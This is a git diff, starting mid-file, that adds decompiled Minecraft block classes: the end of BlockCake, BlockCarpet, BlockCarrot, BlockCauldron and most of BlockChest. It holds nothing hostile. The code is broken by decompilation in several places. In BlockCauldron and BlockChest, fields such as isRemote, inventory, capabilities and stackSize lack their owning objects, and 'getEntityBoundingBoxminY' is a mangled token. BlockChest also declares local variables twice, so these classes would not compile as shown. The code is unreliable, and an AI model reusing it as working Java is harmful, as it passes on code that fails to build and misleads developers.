+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    if (!canBlockStay(worldIn, pos))
+    {
+      worldIn.setBlockToAir(pos);
+    }
+  }
+  
+  private boolean canBlockStay(World worldIn, BlockPos p_176588_2_)
+  {
+    return worldIn.getBlockState(p_176588_2_.offsetDown()).getBlock().getMaterial().isSolid();
+  }
+  
+
+
+
+  public int quantityDropped(Random random)
+  {
+    return 0;
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return null;
+  }
+  
+  public Item getItem(World worldIn, BlockPos pos)
+  {
+    return Items.cake;
+  }
+  
+  public EnumWorldBlockLayer getBlockLayer()
+  {
+    return EnumWorldBlockLayer.CUTOUT;
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(BITES, Integer.valueOf(meta));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((Integer)state.getValue(BITES)).intValue();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new net.minecraft.block.properties.IProperty[] { BITES });
+  }
+  
+  public int getComparatorInputOverride(World worldIn, BlockPos pos)
+  {
+    return (7 - ((Integer)worldIn.getBlockState(pos).getValue(BITES)).intValue()) * 2;
+  }
+  
+  public boolean hasComparatorInputOverride()
+  {
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockCarpet.java b/src/minecraft/net/minecraft/block/BlockCarpet.java
new file mode 100644
index 0000000..1a6b4a5
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockCarpet.java
@@ -0,0 +1,136 @@
+package net.minecraft.block;
+
+import java.util.List;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.item.EnumDyeColor;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class BlockCarpet extends Block
+{
+  public static final PropertyEnum field_176330_a = PropertyEnum.create("color", EnumDyeColor.class);
+  private static final String __OBFID = "CL_00000338";
+  
+  protected BlockCarpet()
+  {
+    super(Material.carpet);
+    setDefaultState(blockState.getBaseState().withProperty(field_176330_a, EnumDyeColor.WHITE));
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 0.0625F, 1.0F);
+    setTickRandomly(true);
+    setCreativeTab(CreativeTabs.tabDecorations);
+    setBlockBoundsFromMeta(0);
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+
+
+
+  public void setBlockBoundsForItemRender()
+  {
+    setBlockBoundsFromMeta(0);
+  }
+  
+  public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos)
+  {
+    setBlockBoundsFromMeta(0);
+  }
+  
+  protected void setBlockBoundsFromMeta(int meta)
+  {
+    byte var2 = 0;
+    float var3 = 1 * (1 + var2) / 16.0F;
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, var3, 1.0F);
+  }
+  
+  public boolean canPlaceBlockAt(World worldIn, BlockPos pos)
+  {
+    return (super.canPlaceBlockAt(worldIn, pos)) && (canBlockStay(worldIn, pos));
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    checkAndDropBlock(worldIn, pos, state);
+  }
+  
+  private boolean checkAndDropBlock(World worldIn, BlockPos p_176328_2_, IBlockState p_176328_3_)
+  {
+    if (!canBlockStay(worldIn, p_176328_2_))
+    {
+      dropBlockAsItem(worldIn, p_176328_2_, p_176328_3_, 0);
+      worldIn.setBlockToAir(p_176328_2_);
+      return false;
+    }
+    
+
+    return true;
+  }
+  
+
+  private boolean canBlockStay(World worldIn, BlockPos p_176329_2_)
+  {
+    return !worldIn.isAirBlock(p_176329_2_.offsetDown());
+  }
+  
+  public boolean shouldSideBeRendered(IBlockAccess worldIn, BlockPos pos, EnumFacing side)
+  {
+    return side == EnumFacing.UP ? true : super.shouldSideBeRendered(worldIn, pos, side);
+  }
+  
+
+
+
+  public int damageDropped(IBlockState state)
+  {
+    return ((EnumDyeColor)state.getValue(field_176330_a)).func_176765_a();
+  }
+  
+
+
+
+  public void getSubBlocks(Item itemIn, CreativeTabs tab, List list)
+  {
+    for (int var4 = 0; var4 < 16; var4++)
+    {
+      list.add(new ItemStack(itemIn, 1, var4));
+    }
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(field_176330_a, EnumDyeColor.func_176764_b(meta));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((EnumDyeColor)state.getValue(field_176330_a)).func_176765_a();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { field_176330_a });
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockCarrot.java b/src/minecraft/net/minecraft/block/BlockCarrot.java
new file mode 100644
index 0000000..b93e281
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockCarrot.java
@@ -0,0 +1,19 @@
+package net.minecraft.block;
+
+import net.minecraft.init.Items;
+
+public class BlockCarrot extends BlockCrops
+{
+  private static final String __OBFID = "CL_00000212";
+  
+  public BlockCarrot() {}
+  
+  protected net.minecraft.item.Item getSeed() {
+    return Items.carrot;
+  }
+  
+  protected net.minecraft.item.Item getCrop()
+  {
+    return Items.carrot;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockCauldron.java b/src/minecraft/net/minecraft/block/BlockCauldron.java
new file mode 100644
index 0000000..97e5f6a
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockCauldron.java
@@ -0,0 +1,283 @@
+package net.minecraft.block;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.properties.PropertyInteger;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.item.EntityItem;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemArmor;
+import net.minecraft.item.ItemArmor.ArmorMaterial;
+import net.minecraft.item.ItemStack;
+import net.minecraft.tileentity.TileEntityBanner;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public class BlockCauldron extends Block
+{
+  public static final PropertyInteger field_176591_a = PropertyInteger.create("level", 0, 3);
+  private static final String __OBFID = "CL_00000213";
+  
+  public BlockCauldron()
+  {
+    super(net.minecraft.block.material.Material.iron);
+    setDefaultState(blockState.getBaseState().withProperty(field_176591_a, Integer.valueOf(0)));
+  }
+  
+
+
+
+
+
+  public void addCollisionBoxesToList(World worldIn, BlockPos pos, IBlockState state, AxisAlignedBB mask, List list, Entity collidingEntity)
+  {
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 0.3125F, 1.0F);
+    super.addCollisionBoxesToList(worldIn, pos, state, mask, list, collidingEntity);
+    float var7 = 0.125F;
+    setBlockBounds(0.0F, 0.0F, 0.0F, var7, 1.0F, 1.0F);
+    super.addCollisionBoxesToList(worldIn, pos, state, mask, list, collidingEntity);
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 1.0F, var7);
+    super.addCollisionBoxesToList(worldIn, pos, state, mask, list, collidingEntity);
+    setBlockBounds(1.0F - var7, 0.0F, 0.0F, 1.0F, 1.0F, 1.0F);
+    super.addCollisionBoxesToList(worldIn, pos, state, mask, list, collidingEntity);
+    setBlockBounds(0.0F, 0.0F, 1.0F - var7, 1.0F, 1.0F, 1.0F);
+    super.addCollisionBoxesToList(worldIn, pos, state, mask, list, collidingEntity);
+    setBlockBoundsForItemRender();
+  }
+  
+
+
+
+  public void setBlockBoundsForItemRender()
+  {
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 1.0F, 1.0F);
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+
+
+
+  public void onEntityCollidedWithBlock(World worldIn, BlockPos pos, IBlockState state, Entity entityIn)
+  {
+    int var5 = ((Integer)state.getValue(field_176591_a)).intValue();
+    float var6 = pos.getY() + (6.0F + 3 * var5) / 16.0F;
+    
+    if ((!isRemote) && (entityIn.isBurning()) && (var5 > 0) && (getEntityBoundingBoxminY <= var6))
+    {
+      entityIn.extinguish();
+      func_176590_a(worldIn, pos, state, var5 - 1);
+    }
+  }
+  
+  public boolean onBlockActivated(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (isRemote)
+    {
+      return true;
+    }
+    
+
+    ItemStack var9 = inventory.getCurrentItem();
+    
+    if (var9 == null)
+    {
+      return true;
+    }
+    
+
+    int var10 = ((Integer)state.getValue(field_176591_a)).intValue();
+    Item var11 = var9.getItem();
+    
+    if (var11 == Items.water_bucket)
+    {
+      if (var10 < 3)
+      {
+        if (!capabilities.isCreativeMode)
+        {
+          inventory.setInventorySlotContents(inventory.currentItem, new ItemStack(Items.bucket));
+        }
+        
+        func_176590_a(worldIn, pos, state, 3);
+      }
+      
+      return true;
+    }
+    
+
+
+
+    if (var11 == Items.glass_bottle)
+    {
+      if (var10 > 0)
+      {
+        if (!capabilities.isCreativeMode)
+        {
+          ItemStack var13 = new ItemStack(Items.potionitem, 1, 0);
+          
+          if (!inventory.addItemStackToInventory(var13))
+          {
+            worldIn.spawnEntityInWorld(new EntityItem(worldIn, pos.getX() + 0.5D, pos.getY() + 1.5D, pos.getZ() + 0.5D, var13));
+          }
+          else if ((playerIn instanceof EntityPlayerMP))
+          {
+            ((EntityPlayerMP)playerIn).sendContainerToPlayer(inventoryContainer);
+          }
+          
+          stackSize -= 1;
+          
+          if (stackSize <= 0)
+          {
+            inventory.setInventorySlotContents(inventory.currentItem, null);
+          }
+        }
+        
+        func_176590_a(worldIn, pos, state, var10 - 1);
+      }
+      
+      return true;
+    }
+    
+
+    if ((var10 > 0) && ((var11 instanceof ItemArmor)))
+    {
+      ItemArmor var12 = (ItemArmor)var11;
+      
+      if ((var12.getArmorMaterial() == ItemArmor.ArmorMaterial.LEATHER) && (var12.hasColor(var9)))
+      {
+        var12.removeColor(var9);
+        func_176590_a(worldIn, pos, state, var10 - 1);
+        return true;
+      }
+    }
+    
+    if ((var10 > 0) && ((var11 instanceof net.minecraft.item.ItemBanner)) && (TileEntityBanner.func_175113_c(var9) > 0))
+    {
+      ItemStack var13 = var9.copy();
+      stackSize = 1;
+      TileEntityBanner.func_175117_e(var13);
+      
+      if ((stackSize <= 1) && (!capabilities.isCreativeMode))
+      {
+        inventory.setInventorySlotContents(inventory.currentItem, var13);
+      }
+      else
+      {
+        if (!inventory.addItemStackToInventory(var13))
+        {
+          worldIn.spawnEntityInWorld(new EntityItem(worldIn, pos.getX() + 0.5D, pos.getY() + 1.5D, pos.getZ() + 0.5D, var13));
+        }
+        else if ((playerIn instanceof EntityPlayerMP))
+        {
+          ((EntityPlayerMP)playerIn).sendContainerToPlayer(inventoryContainer);
+        }
+        
+        if (!capabilities.isCreativeMode)
+        {
+          stackSize -= 1;
+        }
+      }
+      
+      if (!capabilities.isCreativeMode)
+      {
+        func_176590_a(worldIn, pos, state, var10 - 1);
+      }
+      
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+
+
+  public void func_176590_a(World worldIn, BlockPos p_176590_2_, IBlockState p_176590_3_, int p_176590_4_)
+  {
+    worldIn.setBlockState(p_176590_2_, p_176590_3_.withProperty(field_176591_a, Integer.valueOf(MathHelper.clamp_int(p_176590_4_, 0, 3))), 2);
+    worldIn.updateComparatorOutputLevel(p_176590_2_, this);
+  }
+  
+
+
+
+  public void fillWithRain(World worldIn, BlockPos pos)
+  {
+    if (rand.nextInt(20) == 1)
+    {
+      IBlockState var3 = worldIn.getBlockState(pos);
+      
+      if (((Integer)var3.getValue(field_176591_a)).intValue() < 3)
+      {
+        worldIn.setBlockState(pos, var3.cycleProperty(field_176591_a), 2);
+      }
+    }
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return Items.cauldron;
+  }
+  
+  public Item getItem(World worldIn, BlockPos pos)
+  {
+    return Items.cauldron;
+  }
+  
+  public boolean hasComparatorInputOverride()
+  {
+    return true;
+  }
+  
+  public int getComparatorInputOverride(World worldIn, BlockPos pos)
+  {
+    return ((Integer)worldIn.getBlockState(pos).getValue(field_176591_a)).intValue();
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(field_176591_a, Integer.valueOf(meta));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((Integer)state.getValue(field_176591_a)).intValue();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new net.minecraft.block.properties.IProperty[] { field_176591_a });
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockChest.java b/src/minecraft/net/minecraft/block/BlockChest.java
new file mode 100644
index 0000000..f1349fc
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockChest.java
@@ -0,0 +1,605 @@
+package net.minecraft.block;
+
+import java.util.Iterator;
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyDirection;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.passive.EntityOcelot;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.inventory.Container;
+import net.minecraft.inventory.IInventory;
+import net.minecraft.inventory.InventoryLargeChest;
+import net.minecraft.item.ItemStack;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityChest;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Axis;
+import net.minecraft.util.EnumFacing.Plane;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.ILockableContainer;
+import net.minecraft.world.World;
+
+public class BlockChest extends BlockContainer
+{
+  public static final PropertyDirection FACING_PROP = PropertyDirection.create("facing", EnumFacing.Plane.HORIZONTAL);
+  private final Random rand = new Random();
+  
+  public final int chestType;
+  
+  private static final String __OBFID = "CL_00000214";
+  
+  protected BlockChest(int type)
+  {
+    super(Material.wood);
+    setDefaultState(blockState.getBaseState().withProperty(FACING_PROP, EnumFacing.NORTH));
+    chestType = type;
+    setCreativeTab(net.minecraft.creativetab.CreativeTabs.tabDecorations);
+    setBlockBounds(0.0625F, 0.0F, 0.0625F, 0.9375F, 0.875F, 0.9375F);
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+
+
+
+  public int getRenderType()
+  {
+    return 2;
+  }
+  
+  public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos)
+  {
+    if (access.getBlockState(pos.offsetNorth()).getBlock() == this)
+    {
+      setBlockBounds(0.0625F, 0.0F, 0.0F, 0.9375F, 0.875F, 0.9375F);
+    }
+    else if (access.getBlockState(pos.offsetSouth()).getBlock() == this)
+    {
+      setBlockBounds(0.0625F, 0.0F, 0.0625F, 0.9375F, 0.875F, 1.0F);
+    }
+    else if (access.getBlockState(pos.offsetWest()).getBlock() == this)
+    {
+      setBlockBounds(0.0F, 0.0F, 0.0625F, 0.9375F, 0.875F, 0.9375F);
+    }
+    else if (access.getBlockState(pos.offsetEast()).getBlock() == this)
+    {
+      setBlockBounds(0.0625F, 0.0F, 0.0625F, 1.0F, 0.875F, 0.9375F);
+    }
+    else
+    {
+      setBlockBounds(0.0625F, 0.0F, 0.0625F, 0.9375F, 0.875F, 0.9375F);
+    }
+  }
+  
+  public void onBlockAdded(World worldIn, BlockPos pos, IBlockState state)
+  {
+    checkForSurroundingChests(worldIn, pos, state);
+    Iterator var4 = EnumFacing.Plane.HORIZONTAL.iterator();
+    
+    while (var4.hasNext())
+    {
+      EnumFacing var5 = (EnumFacing)var4.next();
+      BlockPos var6 = pos.offset(var5);
+      IBlockState var7 = worldIn.getBlockState(var6);
+      
+      if (var7.getBlock() == this)
+      {
+        checkForSurroundingChests(worldIn, var6, var7);
+      }
+    }
+  }
+  
+  public IBlockState onBlockPlaced(World worldIn, BlockPos pos, EnumFacing facing, float hitX, float hitY, float hitZ, int meta, EntityLivingBase placer)
+  {
+    return getDefaultState().withProperty(FACING_PROP, placer.func_174811_aO());
+  }
+  
+  public void onBlockPlacedBy(World worldIn, BlockPos pos, IBlockState state, EntityLivingBase placer, ItemStack stack)
+  {
+    EnumFacing var6 = EnumFacing.getHorizontal(MathHelper.floor_double(rotationYaw * 4.0F / 360.0F + 0.5D) & 0x3).getOpposite();
+    state = state.withProperty(FACING_PROP, var6);
+    BlockPos var7 = pos.offsetNorth();
+    BlockPos var8 = pos.offsetSouth();
+    BlockPos var9 = pos.offsetWest();
+    BlockPos var10 = pos.offsetEast();
+    boolean var11 = this == worldIn.getBlockState(var7).getBlock();
+    boolean var12 = this == worldIn.getBlockState(var8).getBlock();
+    boolean var13 = this == worldIn.getBlockState(var9).getBlock();
+    boolean var14 = this == worldIn.getBlockState(var10).getBlock();
+    
+    if ((!var11) && (!var12) && (!var13) && (!var14))
+    {
+      worldIn.setBlockState(pos, state, 3);
+    }
+    else if ((var6.getAxis() == EnumFacing.Axis.X) && ((var11) || (var12)))
+    {
+      if (var11)
+      {
+        worldIn.setBlockState(var7, state, 3);
+      }
+      else
+      {
+        worldIn.setBlockState(var8, state, 3);
+      }
+      
+      worldIn.setBlockState(pos, state, 3);
+    }
+    else if ((var6.getAxis() == EnumFacing.Axis.Z) && ((var13) || (var14)))
+    {
+      if (var13)
+      {
+        worldIn.setBlockState(var9, state, 3);
+      }
+      else
+      {
+        worldIn.setBlockState(var10, state, 3);
+      }
+      
+      worldIn.setBlockState(pos, state, 3);
+    }
+    
+    if (stack.hasDisplayName())
+    {
+      TileEntity var15 = worldIn.getTileEntity(pos);
+      
+      if ((var15 instanceof TileEntityChest))
+      {
+        ((TileEntityChest)var15).setCustomName(stack.getDisplayName());
+      }
+    }
+  }
+  
+  public IBlockState checkForSurroundingChests(World worldIn, BlockPos p_176455_2_, IBlockState p_176455_3_)
+  {
+    if (isRemote)
+    {
+      return p_176455_3_;
+    }
+    
+
+    IBlockState var4 = worldIn.getBlockState(p_176455_2_.offsetNorth());
+    IBlockState var5 = worldIn.getBlockState(p_176455_2_.offsetSouth());
+    IBlockState var6 = worldIn.getBlockState(p_176455_2_.offsetWest());
+    IBlockState var7 = worldIn.getBlockState(p_176455_2_.offsetEast());
+    EnumFacing var8 = (EnumFacing)p_176455_3_.getValue(FACING_PROP);
+    Block var9 = var4.getBlock();
+    Block var10 = var5.getBlock();
+    Block var11 = var6.getBlock();
+    Block var12 = var7.getBlock();
+    
+    if ((var9 != this) && (var10 != this))
+    {
+      boolean var21 = var9.isFullBlock();
+      boolean var22 = var10.isFullBlock();
+      
+      if ((var11 == this) || (var12 == this))
+      {
+        BlockPos var23 = var11 == this ? p_176455_2_.offsetWest() : p_176455_2_.offsetEast();
+        IBlockState var24 = worldIn.getBlockState(var23.offsetNorth());
+        IBlockState var25 = worldIn.getBlockState(var23.offsetSouth());
+        var8 = EnumFacing.SOUTH;
+        EnumFacing var26;
+        EnumFacing var26;
+        if (var11 == this)
+        {
+          var26 = (EnumFacing)var6.getValue(FACING_PROP);
+        }
+        else
+        {
+          var26 = (EnumFacing)var7.getValue(FACING_PROP);
+        }
+        
+        if (var26 == EnumFacing.NORTH)
+        {
+          var8 = EnumFacing.NORTH;
+        }
+        
+        Block var19 = var24.getBlock();
+        Block var20 = var25.getBlock();
+        
+        if (((var21) || (var19.isFullBlock())) && (!var22) && (!var20.isFullBlock()))
+        {
+          var8 = EnumFacing.SOUTH;
+        }
+        
+        if (((var22) || (var20.isFullBlock())) && (!var21) && (!var19.isFullBlock()))
+        {
+          var8 = EnumFacing.NORTH;
+        }
+      }
+    }
+    else
+    {
+      BlockPos var13 = var9 == this ? p_176455_2_.offsetNorth() : p_176455_2_.offsetSouth();
+      IBlockState var14 = worldIn.getBlockState(var13.offsetWest());
+      IBlockState var15 = worldIn.getBlockState(var13.offsetEast());
+      var8 = EnumFacing.EAST;
+      EnumFacing var16;
+      EnumFacing var16;
+      if (var9 == this)
+      {
+        var16 = (EnumFacing)var4.getValue(FACING_PROP);
+      }
+      else
+      {
+        var16 = (EnumFacing)var5.getValue(FACING_PROP);
+      }
+      
+      if (var16 == EnumFacing.WEST)
+      {
+        var8 = EnumFacing.WEST;
+      }
+      
+      Block var17 = var14.getBlock();
+      Block var18 = var15.getBlock();
+      
+      if (((var11.isFullBlock()) || (var17.isFullBlock())) && (!var12.isFullBlock()) && (!var18.isFullBlock()))
+      {
+        var8 = EnumFacing.EAST;
+      }
+      
+      if (((var12.isFullBlock()) || (var18.isFullBlock())) && (!var11.isFullBlock()) && (!var17.isFullBlock()))
+      {
+        var8 = EnumFacing.WEST;
+      }
+    }
+    
+    p_176455_3_ = p_176455_3_.withProperty(FACING_PROP, var8);
+    worldIn.setBlockState(p_176455_2_, p_176455_3_, 3);
+    return p_176455_3_;
+  }
+  
+
+  public IBlockState func_176458_f(World worldIn, BlockPos p_176458_2_, IBlockState p_176458_3_)
+  {
+    EnumFacing var4 = null;
+    Iterator var5 = EnumFacing.Plane.HORIZONTAL.iterator();
+    
+    while (var5.hasNext())
+    {
+      EnumFacing var6 = (EnumFacing)var5.next();
+      IBlockState var7 = worldIn.getBlockState(p_176458_2_.offset(var6));
+      
+      if (var7.getBlock() == this)
+      {
+        return p_176458_3_;
+      }
+      
+      if (var7.getBlock().isFullBlock())
+      {
+        if (var4 != null)
+        {
+          var4 = null;
+          break;
+        }
+        
+        var4 = var6;
+      }
+    }
+    
+    if (var4 != null)
+    {
+      return p_176458_3_.withProperty(FACING_PROP, var4.getOpposite());
+    }
+    
+
+    EnumFacing var8 = (EnumFacing)p_176458_3_.getValue(FACING_PROP);
+    
+    if (worldIn.getBlockState(p_176458_2_.offset(var8)).getBlock().isFullBlock())
+    {
+      var8 = var8.getOpposite();
+    }
+    
+    if (worldIn.getBlockState(p_176458_2_.offset(var8)).getBlock().isFullBlock())
+    {
+      var8 = var8.rotateY();
+    }
+    
+    if (worldIn.getBlockState(p_176458_2_.offset(var8)).getBlock().isFullBlock())
+    {
+      var8 = var8.getOpposite();
+    }
+    
+    return p_176458_3_.withProperty(FACING_PROP, var8);
+  }
+  
+
+  public boolean canPlaceBlockAt(World worldIn, BlockPos pos)
+  {
+    int var3 = 0;
+    BlockPos var4 = pos.offsetWest();
+    BlockPos var5 = pos.offsetEast();
+    BlockPos var6 = pos.offsetNorth();
+    BlockPos var7 = pos.offsetSouth();
+    
+    if (worldIn.getBlockState(var4).getBlock() == this)
+    {
+      if (isSurroundingBlockChest(worldIn, var4))
+      {
+        return false;
+      }
+      
+      var3++;
+    }
+    
+    if (worldIn.getBlockState(var5).getBlock() == this)
+    {
+      if (isSurroundingBlockChest(worldIn, var5))
+      {
+        return false;
+      }
+      
+      var3++;
+    }
+    
+    if (worldIn.getBlockState(var6).getBlock() == this)
+    {
+      if (isSurroundingBlockChest(worldIn, var6))
+      {
+        return false;
+      }
+      
+      var3++;
+    }
+    
+    if (worldIn.getBlockState(var7).getBlock() == this)
+    {
+      if (isSurroundingBlockChest(worldIn, var7))
+      {
+        return false;
+      }
+      
+      var3++;
+    }
+    
+    return var3 <= 1;
+  }
+  
+  private boolean isSurroundingBlockChest(World worldIn, BlockPos p_176454_2_)
+  {
+    if (worldIn.getBlockState(p_176454_2_).getBlock() != this)
+    {
+      return false;
+    }
+    
+
+    Iterator var3 = EnumFacing.Plane.HORIZONTAL.iterator();
+    
+    EnumFacing var4;
+    do
+    {
+      if (!var3.hasNext())
+      {
+        return false;
+      }
+      
+      var4 = (EnumFacing)var3.next();
+    }
+    while (worldIn.getBlockState(p_176454_2_.offset(var4)).getBlock() != this);
+    
+    return true;
+  }
+  
+
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    super.onNeighborBlockChange(worldIn, pos, state, neighborBlock);
+    TileEntity var5 = worldIn.getTileEntity(pos);
+    
+    if ((var5 instanceof TileEntityChest))
+    {
+      var5.updateContainingBlockInfo();
+    }
+  }
+  
+  public void breakBlock(World worldIn, BlockPos pos, IBlockState state)
+  {
+    TileEntity var4 = worldIn.getTileEntity(pos);
+    
+    if ((var4 instanceof IInventory))
+    {
+      net.minecraft.inventory.InventoryHelper.dropInventoryItems(worldIn, pos, (IInventory)var4);
+      worldIn.updateComparatorOutputLevel(pos, this);
+    }
+    
+    super.breakBlock(worldIn, pos, state);
+  }
+  
+  public boolean onBlockActivated(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (isRemote)
+    {
+      return true;
+    }
+    
+
+    ILockableContainer var9 = getLockableContainer(worldIn, pos);
+    
+    if (var9 != null)
+    {
+      playerIn.displayGUIChest(var9);
+    }
+    
+    return true;
+  }
+  
+
+  public ILockableContainer getLockableContainer(World worldIn, BlockPos p_180676_2_)
+  {
+    TileEntity var3 = worldIn.getTileEntity(p_180676_2_);
+    
+    if (!(var3 instanceof TileEntityChest))
+    {
+      return null;
+    }
+    
+
+    Object var4 = (TileEntityChest)var3;
+    
+    if (cannotOpenChest(worldIn, p_180676_2_))
+    {
+      return null;
+    }
+    
+
+    Iterator var5 = EnumFacing.Plane.HORIZONTAL.iterator();
+    
+    while (var5.hasNext())
+    {
+      EnumFacing var6 = (EnumFacing)var5.next();
+      BlockPos var7 = p_180676_2_.offset(var6);
+      Block var8 = worldIn.getBlockState(var7).getBlock();
+      
+      if (var8 == this)
+      {
+        if (cannotOpenChest(worldIn, var7))
+        {
+          return null;
+        }
+        
+        TileEntity var9 = worldIn.getTileEntity(var7);
+        
+        if ((var9 instanceof TileEntityChest))
+        {
+          if ((var6 != EnumFacing.WEST) && (var6 != EnumFacing.NORTH))
+          {
+            var4 = new InventoryLargeChest("container.chestDouble", (ILockableContainer)var4, (TileEntityChest)var9);
+          }
+          else
+          {
+            var4 = new InventoryLargeChest("container.chestDouble", (TileEntityChest)var9, (ILockableContainer)var4);
+          }
+        }
+      }
+    }
+    
+    return (ILockableContainer)var4;
+  }
+  
+
+
+
+
+
+  public TileEntity createNewTileEntity(World worldIn, int meta)
+  {
+    return new TileEntityChest();
+  }
+  
+
+
+
+  public boolean canProvidePower()
+  {
+    return chestType == 1;
+  }
+  
+  public int isProvidingWeakPower(IBlockAccess worldIn, BlockPos pos, IBlockState state, EnumFacing side)
+  {
+    if (!canProvidePower())
+    {
+      return 0;
+    }
+    
+
+    int var5 = 0;
+    TileEntity var6 = worldIn.getTileEntity(pos);
+    
+    if ((var6 instanceof TileEntityChest))
+    {
+      var5 = numPlayersUsing;
+    }
+    
+    return MathHelper.clamp_int(var5, 0, 15);
+  }
+  
+
+  public int isProvidingStrongPower(IBlockAccess worldIn, BlockPos pos, IBlockState state, EnumFacing side)
+  {
+    return side == EnumFacing.UP ? isProvidingWeakPower(worldIn, pos, state, side) : 0;
+  }
+  
+  private boolean cannotOpenChest(World worldIn, BlockPos p_176457_2_)
+  {
+    return (isBelowSolidBlock(worldIn, p_176457_2_)) || (isOcelotSittingOnChest(worldIn, p_176457_2_));
+  }
+  
+  private boolean isBelowSolidBlock(World worldIn, BlockPos p_176456_2_)
+  {
+    return worldIn.getBlockState(p_176456_2_.offsetUp()).getBlock().isNormalCube();
+  }
+  
+  private boolean isOcelotSittingOnChest(World worldIn, BlockPos p_176453_2_)
+  {
+    Iterator var3 = worldIn.getEntitiesWithinAABB(EntityOcelot.class, new AxisAlignedBB(p_176453_2_.getX(), p_176453_2_.getY() + 1, p_176453_2_.getZ(), p_176453_2_.getX() + 1, p_176453_2_.getY() + 2, p_176453_2_.getZ() + 1)).iterator();
+    
+    EntityOcelot var5;
+    do
+    {
+      if (!var3.hasNext())
+      {
+        return false;
+      }
+      
+      Entity var4 = (Entity)var3.next();
+      var5 = (EntityOcelot)var4;
+    }
+    while (!var5.isSitting());
+    
+    return true;
+  }
+  
+  public boolean hasComparatorInputOverride()
+  {
+    return true;
+  }
+  
+  public int getComparatorInputOverride(World worldIn, BlockPos pos)
+  {
+    return Container.calcRedstoneFromInventory(getLockableContainer(worldIn, pos));
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    EnumFacing var2 = EnumFacing.getFront(meta);
+    
+    if (var2.getAxis() == EnumFacing.Axis.Y)
+    {
+      var2 = EnumFacing.NORTH;
+    }
+    
+    return getDefaultState().withProperty(FACING_PROP, var2);
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((EnumFacing)state.getValue(FACING_PROP)).getIndex();
+  }
+  
